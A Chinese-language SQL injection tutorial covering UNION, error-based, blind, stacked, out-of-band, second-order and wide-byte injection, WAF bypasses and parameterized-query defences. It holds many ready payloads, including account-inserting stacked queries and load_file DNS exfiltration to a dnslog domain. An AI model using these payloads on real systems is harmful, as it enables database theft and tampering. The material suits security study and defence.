一、SQL 注入基础
1.1 产生原理
动态交互网站利用用户输入拼接到 SQL 中执行,输入不同导致返回结果不同。用户输入内容没有经过完美处理,直接被带入 SQL 语句中执行,导致 SQL 注入漏洞。
一句话本质:代码与数据没有分离——数据库解析器无法区分哪些字符是开发者写的语法、哪些是用户提交的数据,用户数据中的引号、注释符、关键字改变了语法树的形状,语义被劫持。
SQL 语句拼接示例:
select * from admin where username = '用户提交' and password = '用户提交';使用万能密码(1' or '1'='1):
select * from admin where username = '用户提交' and password = '1' or '1'='1';攻击者的单引号提前闭合字符串,or '1'='1' 使条件恒真 → 绕过登录。
1.2 漏洞成立的两个条件
- 参数用户可控:从前端传到后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且传入数据库查询
1.3 MySQL 必备知识
information_schema
MySQL 5 之后默认存在 information_schema 库,记录整个实例的元信息,注入时重点三张表:
| 表 | 内容 |
|---|---|
schemata | 所有数据库名(schema_name) |
tables | 所有表名(table_name、table_schema) |
columns | 所有字段名(column_name、table_name) |
注释符
| 注释符 | 说明 | 编码 |
|---|---|---|
# | 单行注释 | %23 |
-- | 单行注释,注意是两个短线加空格(URL 中常用 --+) | --+ |
/* */ | 多行注释,也可充当空格绕过 WAF | %2f%2a |
常用函数速查
| 函数 | 作用 |
|---|---|
version() / @@version | 数据库版本 |
user() | 当前数据库用户 |
database() | 当前数据库名 |
@@datadir | 数据文件目录 |
concat() / group_concat() | 字符串拼接 / 多行聚合成一行 |
substring(str,pos,len) | 字符串截取(盲注核心) |
length() / ascii() / ord() | 长度 / ASCII 码转换 |
hex() | 转十六进制(绕过引号、域名编码) |
if(cond,a,b) | 条件判断(盲注核心) |
sleep(n) | 延时 n 秒(时间盲注核心) |
load_file() | 读取文件(OOB、文件读取) |
1.4 注入的分类(三个维度)
按提交方式
- GET 注入:参数在 URL 里,有长度限制,中文需 URL 编码
- POST 注入:参数在请求 body 中,长度无限制
- Cookie 注入:参数放在请求头,服务器从请求头获取
按注入点数据类型
-- int 整型:无引号包裹,直接拼接
select * from users where id = 1;
-- string 字符型:需闭合引号
select * from user where username='admin';
-- like 搜索型:需闭合引号和 % 通配符
select * from news where title like '%标题%';按结果获取方式(回显能力)
- 联合查询注入(UNION):页面有回显位,数据直接显示
- 报错注入:无回显位,但 SQL 错误信息回显在页面
- 盲注:无回显,靠页面真假差异(布尔)或响应时间(时间)逐位猜解
- 堆叠注入:
;分隔执行多条语句(取决于驱动是否支持) - 带外注入(OOB):无任何页面反馈,数据通过 DNS/HTTP 请求外带
术语
回显 = 页面有数据信息返回;无回显 = 无论输入什么语句,页面都没有数据库内容显示。注入成立与否只取决于拼接,与页面有没有回显无关。
二、注入判断与测试
2.1 手工判断
在可控参数处测试(如 http://192.168.110.1/?id=123),常用判断语句:
id=1 and 1=1 -- 页面正常
id=1 and 1=2 -- 页面异常 → 数字型注入
id=1 or 1=1
id=1' or '1'='1 -- 字符型
id=1" or "1"="1若 and 1=1 与 and 1=2 页面表现不同,说明输入参与了 SQL 逻辑运算 → 存在注入。
2.2 工具测试
在发现有可控参数的地方使用 sqlmap 进行检查或利用,推荐使用 BurpSuite 的 sqlmap 插件。
三、UNION 联合查询注入
3.1 原理
使用 union select 把攻击者的查询结果与正常查询结果合并回显。前提:两个查询的字段数必须相同,否则报错。
3.2 手工注入完整流程
- 判断是否存在注入、是字符型还是数字型
- 猜解字段数:
order by N(N 递增直到报错) - 确定回显点:
union select 1,2,3(看哪几个数字显示在页面上) - 查询数据库信息:
@@version、@@datadir、user()、database() - 获取所有数据库:
group_concat(schema_name) from information_schema.schemata - 获取表名:
group_concat(table_name) from information_schema.tables where table_schema=库名 - 获取字段名:
group_concat(column_name) from information_schema.columns where table_name='表名' - 获取数据:
?username=1' union select 1,database(),group_concat(字段1,字段2,字段3) from 表名--+
技巧
- 黑盒下不知道当前库有什么表,全靠
information_schema查询- 用
limit 1,1限定条数逐条读取(第二条就是limit 2,1)- 遇到单/双引号被转义时,字符串可用 HEX 编码绕过(如
'admin'→0x61646d696e)
3.3 文件读写
-- 文件读取
union select 1,load_file('C:\\windows\\win.ini')
-- 写入 webshell
select ... into outfile ...需要 FILE 权限且 secure_file_priv 允许,详见 带外注入的利用条件。
四、报错注入
页面无数据回显,但 SQL 错误信息会显示在页面上——让要查的数据出现在报错内容里。
4.1 XML 函数报错(MySQL > 5.1)
updatexml() 和 extractvalue() 执行时,若 XPath 路径格式错误就会报错并回显拼接的内容。0x7e 是 ~,不属于 XPath 语法,用于强制触发错误。
-- updatexml(文档, XPath路径, 新值)
select * from test where id = 1 and (updatexml(1,concat(0x7e,(select user()),0x7e),3));
-- extractvalue(文档, XPath路径)
select * from test where id = 1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));报错信息形如:XPATH syntax error: '~root@localhost~'
注意
XML 报错回显最多 32 位,数据过长需用
substring()分段获取。
4.2 主键冲突报错(floor + rand + group by)
select count(*), concat((select user()), floor(rand(0)*2)) as x
from information_schema.tables group by x;报错:Duplicate entry 'root@localhost1' for key 'group_key'
核心原理:
group by执行时 MySQL 在内存建虚拟表,主键即分组字段rand(0)*2的伪随机数列固定为0,1,1,0,1,1...- 查询虚拟表发现键不存在时,MySQL 会再次计算
x的值再插入 rand()被计算两次导致键值变化,最终插入重复键 → 主键冲突报错,报错中携带拼接的数据
4.3 类型转换报错
-- GTID_SUBSET(MySQL >= 5.6)
select * from users where id = 1 and GTID_SUBSET(concat(0x7e,(select user()),0x7e), 1);
-- 报错:Malformed GTID set specification '~root@localhost~'.
-- NAME_CONST
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
-- 报错:Duplicate column name '5.7.26'4.4 数学溢出报错(MySQL >= 5.5)
-- exp() 溢出:x 超过 709 超出 Double 范围,配合按位取反 ~ 构造极大值
select exp(~(select * from (select user())a));
-- 报错:DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
-- BIGINT 溢出
select !(select * from (select user())x) - ~0;
-- 报错:BIGINT value is out of range in ...4.5 空间函数报错(MySQL >= 5.0.32)
GeometryCollection()、polygon()、multipoint()、linestring()、ST_LatFromGeoHash() 等函数收到非法几何数据时报错回显:
select * from test where id=1 and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e));
-- 报错:Incorrect geohash value: '~root@localhost~' for function st_latfromgeohash五、盲注
5.1 布尔盲注
页面不会显示数据库信息,只显示”对/错”两种状态。核心语句:
select if(1=1,1,0) -- 条件成立返回 1,否则返回 0通过构造条件,根据页面特征逐位猜解敏感信息:
-- 判断库名长度
1' and if(length(database())=4,1,0)--+
-- 逐位猜解库名(substring 第一个参数是字符串,第二个起始位,第三个长度)
1' and if(substring(database(),1,1)='s',1,0)--+
-- 猜解表名
1' and if(substring((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)='u',1,0)--+
-- 猜解字段名
1' and if(substring((select column_name from information_schema.columns
where table_name='users' limit 0,1),1,1)='i',1,0)--+
-- 猜解数据(0x3a 是冒号 :)
1' and if(substring((select concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)--+手工逐位猜解效率极低,实战中写 Python 脚本二分猜解或直接用 sqlmap。
5.2 时间盲注
布尔盲注也失效(页面真假无差异)时的最后手段:以响应时间作为信道。核心是 sleep():
-- 判断是否存在时间注入:页面延时 10 秒即存在
' and sleep(10)--+
-- 库名长度大于 1 就延时 5 秒
select if(length(database())>1,sleep(5),0)--+
-- 注入点中
-1' or if(length(database())>1,sleep(5),0)--+网络抖动会干扰时间判断,实战中阈值要留余量,且大量请求容易触发封 IP——此时考虑 带外注入。
六、堆叠注入
6.1 原理与限制
用分号 ; 分隔执行多条 SQL 语句。MySQL 中 mysqli_multi_query() 支持多语句执行(普通 mysql_query() 不支持——堆叠注入是否成立取决于驱动和配置)。
select version();select database();关键限制:堆叠查询只能返回第一条语句的结果,后续语句无回显。
危害极大:可任意执行增删查改,不再局限于 SELECT。
6.2 利用示例
-- 探测堆叠是否可用
id=1' and 1=2;sleep(5)--+
-- 插入新账号
id=1';insert into user(id,username,password) values(20,'chen','123456')--+6.3 堆叠注入的 WAF 绕过
当目标存在堆叠注入,但 WAF 过滤了 select、union 等关键字时的三大利器:
RENAME 绕过
多语句执行时后面的语句无法回显,可用 RENAME 把目标表/列名改成默认查询所访问的表/列名,借正常业务逻辑把数据”带”出来。
预处理绕过(PREPARE)
利用堆叠注入连续执行 SET → PREPARE → EXECUTE,在变量中隐藏关键字:
-- concat 拆分关键字:WAF 只看到 "s" 和 "elect",执行时重组为 select
1'; set @a=concat("s","elect flag from `1919810931114514`");
prepare stmt from @a; execute stmt; --+
-- 十六进制编码(终极杀招):整个 payload 无敏感字母
1'; set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;
prepare stmt from @a; execute stmt; --+注意回显限制依然存在,实战常配合:执行增删改(如 insert 管理员)、结合 sleep() 时间盲注、或结合下面的 HANDLER 读数据。
HANDLER 读取数据
HANDLER 不是标准 SQL 查询,而是直接访问存储引擎接口的机制——SELECT 是填检索卡让管理员帮你找书,HANDLER 是自己拿钥匙进书架一行行翻。
优势:完全不用 SELECT、UNION 等敏感字;不需要知道列名(每次读整行)。
三步曲(打开 → 读取 → 关闭):
HANDLER table_name OPEN [AS alias]; -- 打开表
HANDLER table_name READ {FIRST | NEXT | PREV | LAST}; -- 读第一行/下一行/上一行/末行
HANDLER table_name CLOSE; -- 关闭(注入中可省略)实战 payload:
-- 带别名读第一行
1'; handler `1919810931114514` open as aaa; handler aaa read first; --+
-- 不带别名读第二行
1'; handler `1919810931114514` open; handler `1919810931114514` read next; --+总结
遇到过滤极其变态的堆叠注入题,只要没过滤
HANDLER,1'; handler 表名 open; handler 表名 read first;往往能一击致命。
七、带外注入(OOB)
7.1 什么是带外注入
带外注入(Out-of-Band Injection)是盲注的”升级版”:当页面无回显、布尔盲注无真假差异、时间盲注又慢且容易触发封 IP 时,让数据库主动向外发起网络请求(DNS / HTTP),把查询结果编码进请求里带出来,攻击者在自己的服务器日志里读取数据。
打个比方
普通注入是”你问,网页当面回答你”;盲注是”网页不回答,你只能看它点头摇头(布尔)或者数它沉默了几秒(时间)“;带外注入是”网页不回答,但你让它写封信寄到你家(DNS 请求),你在家收信看内容”。
数据传输的信道不再是 HTTP 响应,而是另一条”带外”通道,因此:
- 每条数据只需一次请求(盲注要逐位猜解,几万次请求,容易被封 IP),速度快
- 日志在第三方平台读取,目标看到的是正常业务流量,隐蔽性高——变相实现了”代理池”效果
7.2 核心原理(DNS 外带)
关键是 MySQL 的 LOAD_FILE() 函数——读取文件并返回内容字符串。在 Windows 下,给它一个 UNC 网络路径(\\主机名\文件),系统会向该主机名发起 SMB 连接,而发起连接前必然先做一次 DNS 解析。
把查询结果拼接进主机名:
select load_file(concat('\\\\',(select database()),'.je5i3a.dnslog.cn\\abc'));执行过程:
- MySQL 先执行子查询
(select database()),得到结果如security - 拼出 UNC 路径
\\security.je5i3a.dnslog.cn\abc - 系统解析主机名
security.je5i3a.dnslog.cn,向 DNS 服务器发查询 je5i3a.dnslog.cn的权威 DNS 服务器就是攻击者的 dnslog 平台,查询记录里完整保存了子域名security→ 数据到手
为什么偏偏是 DNS
企业出站防火墙通常对 HTTP 管控严格,但 53 端口的 DNS 几乎必然放行(否则服务器无法解析域名),DNS 是穿透性最好的带外通道。而且 DNS 查询由操作系统发出,Web 容器和 WAF 都无感知。
注意事项:
-
域名只能包含合法字符(字母数字
- .),结果含特殊字符时先用hex()编码:load_file(concat('\\\\',hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),'.je5i3a.dnslog.cn\\abc')) -
域名每段(label)≤ 63 字符,数据太长要
substring()分段外带 -
payload 中 UNC 路径的反斜杠在 SQL 里要转义,实际写成
\\\\(代表两个\)
7.3 利用条件(缺一不可)
- 存在注入点
- Windows 服务器(UNC 路径是 Windows 特性;Linux 下
//开头只当普通文件路径,不触发网络请求) - 数据库账号有 FILE 权限(一般为 root)
secure_file_priv = ''(为空才可读写任意路径;MySQL 5.7.6+ 默认为 NULL,直接禁用文件读写,此条件常常卡死利用)- 数据库服务器能出网做 DNS 解析
7.4 常用 dnslog 平台
dnslog.cn(免费,即开即用)ceye.io(支持 HTTP/DNS 双通道记录)- Burp Collaborator(Burp Pro 自带,UDP/TCP/SMTP 全协议)
- 自建权威 DNS 服务器 + Web 日志(最隐蔽,红队场景)
sqlmap 自动化:sqlmap -u "url" --dns-domain=xxx.ceye.io
7.5 防御
secure_file_priv设置为具体目录或NULL,数据库账号去掉 FILE 权限(最小权限)- 出口防火墙限制数据库服务器外联:DNS 只允许走内网指定解析器,禁止直连外部 53
- 根本仍是参数化查询——注入点不存在,一切外带无从谈起
八、其他注入类型
8.1 二次注入
二次注入的可怕之处在于,它利用了程序员的”盲目自信”——程序员通常会防御用户的直接输入,但往往会百分之百信任从自己数据库里读出来的数据。
严格分为两步:
-
第一步:恶意数据”合法”入库(埋炸弹) 注册用户名
admin'#,后端转义生效,单引号变成\',注册安全完成。数据库里确确实实存入了admin'#。此阶段没有任何注入,恶意代码只是被当作普通字符串”休眠”在数据库里。 -
第二步:数据被读取并带入新查询(引爆炸弹) 之后用该账号修改密码,后端从数据库读出用户名拼进 UPDATE 语句。程序员大意了:“这是从我自家数据库里拿出来的数据,肯定是干净的,不用转义!“——带单引号的
admin'#直接进入 SQL,注释掉后面的条件,改掉的可能是别人的密码。
防御原则:数据只要出库再用,一律按不可信数据处理,所有使用点都参数化。
8.2 宽字节注入
什么是宽字节注入
宽字节注入不是一种独立的注入类型,而是对”转义防御”的一种绕过手段:当数据库连接使用 GBK 等宽字节字符集时,转义函数添加的反斜杠 \(0x5C)会被前面的字节”吃掉”,合并成一个汉字,导致本该被转义的单引号重新逃逸——转义形同虚设。
核心一句话
单字节转义符遇到了多字节字符集:
\不再是\,而是某个汉字的”后半截”。
成因(代码层分析)
典型漏洞代码(PHP + MySQL,连接编码 GBK):
mysql_query("SET NAMES 'gbk'"); // 告诉 MySQL:客户端发来的数据是 GBK 编码
$id = addslashes($_GET['id']); // 防御:把 ' 转义为 \'
$sql = "SELECT * FROM user WHERE id = '$id'";
mysql_query($sql);攻击者提交:?id=1%df'
逐字节看发生了什么:
| 阶段 | 字节流 | 说明 |
|---|---|---|
| 原始输入 | 31 df 27 | 1 + 0xdf + '(0x27) |
addslashes 转义后 | 31 df 5c 27 | 在 ' 前插入 \(0x5c) |
| MySQL 按 GBK 解析 | 31 [df 5c] 27 | 0xdf 落在 GBK 首字节范围(0x81–0xFE),0x5c 落在次字节范围(0x40–0xFE),两字节被合成一个汉字”運” |
| 最终 SQL | id = '1運' | 反斜杠消失,单引号成功逃逸,注入成立 |
根本矛盾:addslashes() 按单字节视角工作,它不知道数据库会把 0x5c 和前一个字节合并解读。转义函数理解的字符集 ≠ 数据库理解的字符集,这就是所有宽字节注入的根因。
利用条件
- 数据库连接字符集为宽字节编码(GBK / GB2312 / GB18030 / Big5 等)
- 使用了基于”加反斜杠”的转义:
addslashes()、mysql_real_escape_string()、magic_quotes_gpc(PHP < 5.4) - 未使用参数化查询
检测方法:注入点提交 %df',若页面报 SQL 语法错误,说明反斜杠被吃掉、引号逃逸成功。
Payload
?id=1%df' and 1=1--+
?id=1%df' and 1=2--+
?id=1%df' union select 1,database(),3--+闭合之后的利用与普通字符型注入完全一致,宽字节只是”打开引号”的钥匙。
进阶:%bf 绕过 mysql_real_escape_string
mysql_real_escape_string() 是”感知字符集”的转义函数——前提是开发者用 mysql_set_charset('gbk') 正确告知了客户端编码。此时 %df%27 会被识别并处理,绕过失效。
但经典案例(Chris Shiflett 提出)表明:如果代码里用的是 SET NAMES 'gbk' 而不是 mysql_set_charset(),则 MySQL 服务器按 GBK 解析数据,而 mysql_real_escape_string() 仍按**默认的单字节编码(latin1)**转义——两侧字符集认知再次不一致:
- 提交
%bf%27 - 转义函数按 latin1 处理:
%bf%5c%27(加了反斜杠) - MySQL 按 GBK 解析:
%bf%5c是合法 GBK 汉字”縗”,反斜杠被吃掉,引号逃逸
结论:SET NAMES 只改变服务器端的字符集认知,不改变转义函数使用的客户端编码——字符集设置必须驱动层、连接层一致。
防御
- 根本修复:参数化查询(预编译)——数据与语法在协议层分离,字符集问题与注入同时消失
- 放弃 GBK,全站统一 UTF-8(utf8mb4)——UTF-8 的后续字节范围(0x80–0xBF)不含 0x5C,反斜杠不可能被”吃掉”,宽字节注入在 UTF-8 下天然不存在
- 必须设置字符集时,用驱动层 API(
mysql_set_charset()、PDO 的 DSNcharset=参数),禁止用SET NAMES事后声明 - PDO 用户关闭模拟预处理:
PDO::ATTR_EMULATE_PREPARES => false,否则参数在客户端拼接,仍可能受字符集问题影响
九、WAF 绕过
9.1 通用绕过
空格绕过
当 WAF 过滤了普通空格或 %20:
- 注释符替换:
select/**/user()/**/from/**/dual; - 括号包裹:
select(user())from(dual); - URL 编码空白符:
%09(Tab)、%0A(换行)、%0C(换页)、%0D(回车)、%0B(垂直制表符)、%A0(不间断空格)
关键字绕过(select / union / and / or)
- 大小写混写:
sElEcT、uNiOn(针对不区分大小写的 WAF) - 双写绕过:
selSELECTect→ 中间 SELECT 被删一次后重组为select(针对只替换一次的 WAF) - 内联注释(MySQL 专属):
/*!50000select*/ * from users;(版本号 ≥ 5.00.00 时执行,部分 WAF 视为注释放行) - 利用
\N:select * from users where id=8e0\Nunion select 1,2,3;
符号与逻辑运算符绕过
- 过滤
and/or→&&/||,或异或注入xor、^ - 过滤
=→LIKE/RLIKE/REGEXP、<>/!=、IN() - 过滤
<>(盲注场景)→GREATEST()/LEAST()、BETWEEN AND、strcmp()
字符串与引号绕过
- 十六进制编码:
username='admin'→username=0x61646d696e(MySQL 自动解析) - CHAR() 函数:
select char(97,100,109,105,110)
等价函数替换
| 被封杀 | 平替 |
|---|---|
substr() | substring()、mid()、left()、right()、lpad()、rpad() |
ascii() | ord() |
concat() | concat_ws()、group_concat() |
sleep() | benchmark(10000000,md5(1))、笛卡尔积重负荷查询 |
HTTP 层面绕过
- 请求方式绕过:很多 WAF 默认只检测 GET,改 POST,或在 Cookie、User-Agent 等头中找注入点
- HPP 参数污染:
?id=1/**/&id=union select 1,2,3(详见 9.3) - 分块传输编码:
Transfer-Encoding: chunked切碎 payload(详见 9.3)
9.2 无列名注入
当 information_schema.columns 被过滤,知道表名(如 users)却不知道字段名时的三种进阶姿势:
JOIN + USING 报错爆列名
利用 MySQL 表连接时存在同名字段且未指定别名会报 Duplicate column name 的特性,让数据库自己吐出列名:
-- 爆第一列
select * from (select * from users as a join users as b) as c;
-- 报错:Duplicate column name 'id'
-- 爆第二列:USING() 排除已知列
select * from (select * from users as a join users as b using(id)) as c;
-- 报错:Duplicate column name 'username'
-- 后续列:using(id,username) 依次追加UNION 虚拟表 + 别名读数据
联合数字常量构造”虚拟表”,列名由自己定义,绕过对真实列名的依赖:
-- 构造虚拟表:users 的数据附着在列名为 1,2,3 的虚拟表下方
select 1,2,3 union select * from users;
-- 提取数据:数字列名需用反引号包裹
select `2`,`3` from (select 1,2,3 union select * from users) as a limit 1,1;
-- 反引号也被过滤时,内部 SELECT 直接起英文别名
select b,c from (select 1,2 as b, 3 as c union select * from users) as a limit 1,1;字符比较盲注
既不知道列名、又无报错无回显时,利用 MySQL 字符串按 ASCII 逐位比较大小的特性('b'>'a' 为真),将虚拟表与字符串比较结合做盲注:
select 'f' > (select `1` from (select 1 union select * from flag) as a limit 1,1);实战配合 Python 脚本二分法逐位猜解。
9.3 进阶绕过
缓冲区溢出(WAF 崩溃绕过)
-
原理:多数 WAF 基于 C/C++ 开发,超长数据可能导致其处理时缓冲区溢出。WAF 崩溃或超时后为保证业务可用性往往会 Bypass 放行请求,恶意 payload 直达数据库
-
方式:用大量无用字符(约 1000 个
A)填充 payload:?page_id=-15+and+(select1)=(Select 0xAA[..约1000个"A"..])+/*!UNiOn*/+/*!SeLEct*/+1,2,3,4... -
发送大量数据后产生报错,通常证明该节点存在溢出可能
分块传输编码(Chunked Transfer Encoding)
- 原理:HTTP/1.1 分块传输下数据被切成一个个 Chunk,服务器收到一块处理一块。很多 WAF 无法完整重组分块数据流,看到的是碎片,匹配不出完整恶意特征;而 Web 容器(Tomcat/Apache)能正确组装交给数据库
- 操作:请求头加
Transfer-Encoding: chunked,payload 分块发送 - 工具:BurpSuite 插件 Chunked coding converter
HPP(HTTP 参数污染)
-
原理:提交多个同名参数时,不同中间件解析策略不同(Tomcat 取第一个、PHP/Apache 取最后一个、ASP.NET 逗号拼接)。利用 WAF 与后端解析差异,把完整 SQL 拆到多个同名参数中
-- 原语句:id=1 union select 1,2,3 from users where id=1- id=1 union select 1&id=2,3 from users where id=1-
十、修复建议
10.1 根本方案:参数化查询(预编译)
所有查询语句都使用数据库提供的参数化查询接口,参数以绑定方式传入而不是将用户变量嵌入 SQL 语句——数据与语法在协议层分离,这是防御 SQL 注入的唯一根治手段。
注意三个常见例外,预编译管不到:
- 动态表名/列名/ORDER BY 字段:标识符无法绑定,只能白名单枚举映射
- ORM 的拼接后门:MyBatis
${}、whereRaw()、DB::raw()等等价于字符串拼接 - PDO 模拟预处理:
ATTR_EMULATE_PREPARES=true时参数仍在客户端拼接,应设为false
10.2 纵深防御
- 输入校验:数字型数据强制是数字(
intval()),数据库字段用 int 型;枚举值走白名单;数据长度严格限制 - 最小权限:应用数据库账号仅授予工作所需权限,去除 FILE、SUPER 等高危权限,最大限度减少注入危害
- 统一编码:网站每个数据层的编码统一为 UTF-8(utf8mb4),上下层编码不一致会导致过滤模型被绕过(宽字节注入)
- 隐藏错误信息:避免页面显示数据库错误(类型错误、字段不匹配等),防止报错注入
- 转义仅作兜底:
addslashes()等转义存在宽字节缺陷,不能作为主力防御 - WAF 仅作应急缓解:可拦扫描器和通用 payload,但可被绕过,不能替代代码修复